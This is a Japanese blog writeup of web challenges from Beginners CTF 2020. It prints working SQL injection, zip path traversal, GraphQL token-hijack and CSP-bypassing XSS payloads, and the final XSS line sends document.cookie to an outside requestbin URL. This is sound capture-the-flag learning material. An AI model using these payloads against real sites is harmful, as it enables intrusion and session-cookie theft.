眠気

戯言とメモ

Beginners CTF 2020 writeup

1日目にwebだけ参加していました。

Spy

dbに存在するアカウント名を当てる問題。 hashの計算をしているみたいだったので、length extensionか何かかなと思い放置していたらチームの人が解いてくれてました。 アカウントが存在する場合の方がhashの計算に時間がかかるので、それで推測する問題だったようです。


Tweetstore

SQL Injectionの問題。 FLAGはDBのユーザーらしい。

dbuser := os.Getenv("FLAG")
type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
    sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

goのこの部分のsqlを組み立てている部分でなんとかする問題。

' union select 1,1,1 ; --' とかを入れるとエラーが出て(おそらくrows.Scanの型変換の部分)、クォートが使えないので文字列やTimeを作るのが少し面倒だった。concatとnowでなんとかなった。postgressqlなので getpgusername() とかでユーザー名が取れる。

'+or+1=1+union+select+concat(1),+getpgusername(),+now()+;+--'

unzip

phpのZipArchiveでzipを解凍するサービス。 unzipしたものを /uploads 以下に配置してくれるので、zipのファイルパスをいじってディレクトリトラバーサルが可能。 ただflagの位置が分からず、phpのファイルを置いて実行させるのも難しそうだったので放置していたら、ヒントでdocker-compose.ymlファイルが貰えたので以下でファイルパスをrootにしたらflag.txtが見れた。

./evilarc.py flag.txt  -d 10  -o "unix"

https://github.com/ptoomey3/evilarc


profiler

graphqlの問題。

適当にユーザーを作成し、GetFlagを実行すると以下のように言われる。

get-graphql-schemaでschemaを取得すると以下のようなschemaが取得できる。

$ npm install -g get-graphql-schema
$ get-graphql-schema https://profiler.quals.beginners.seccon.jp/api

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

GraphiQLのHeaderにCookieを入れて、someone(uid: ID!): Userを実行してみる。

someone(uid: "admin") でadminのtokenが得られる。

{ 
    someone(uid: "admin") { 
        uid, 
        profile, 
            name,
        token,      
    }
}

{
  "data": {
    "someone": {
      "name": "admin",
      "profile": "Hello, I'm admin.",
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

使われていない updateToken(token: String!): Boolean! でtokenをadminのものに変えて、 {flag} でflagが取れる。

mutation {
        updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}

{
  "data": {
    "updateToken": true
  }
}
{flag}

{
  "data": {
    "flag": "ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}"
  }
}

Somen

問題は以下の部分。

<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

security.js は以下で、username似英数字以外が含まれているとerror.phpに飛ばされる。

console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

とりあえず、titleタグを閉じ、以下のように中途半端なscriptタグを置くことでその次のsecurity.jsを呼ばないようにできる。

</title><script a

また、idがmessageのタグを作ることで任意の場所にusernameを入れることが出来る。

ab</title>cd<div id="message">ef</div><script a

scriptタグがbody以下移動してるのはdivタグをbodyに入れようとしたからだと思われる。divをscriptにして以下でalert()が実行される。

alert(1)//</title><script id="message"></script><script a

あとはcookieを送るだけ。

location.href=`http://requestbin.net/r/ryqf7zry?${document.cookie}`//</title>
<script id="message"></script><script a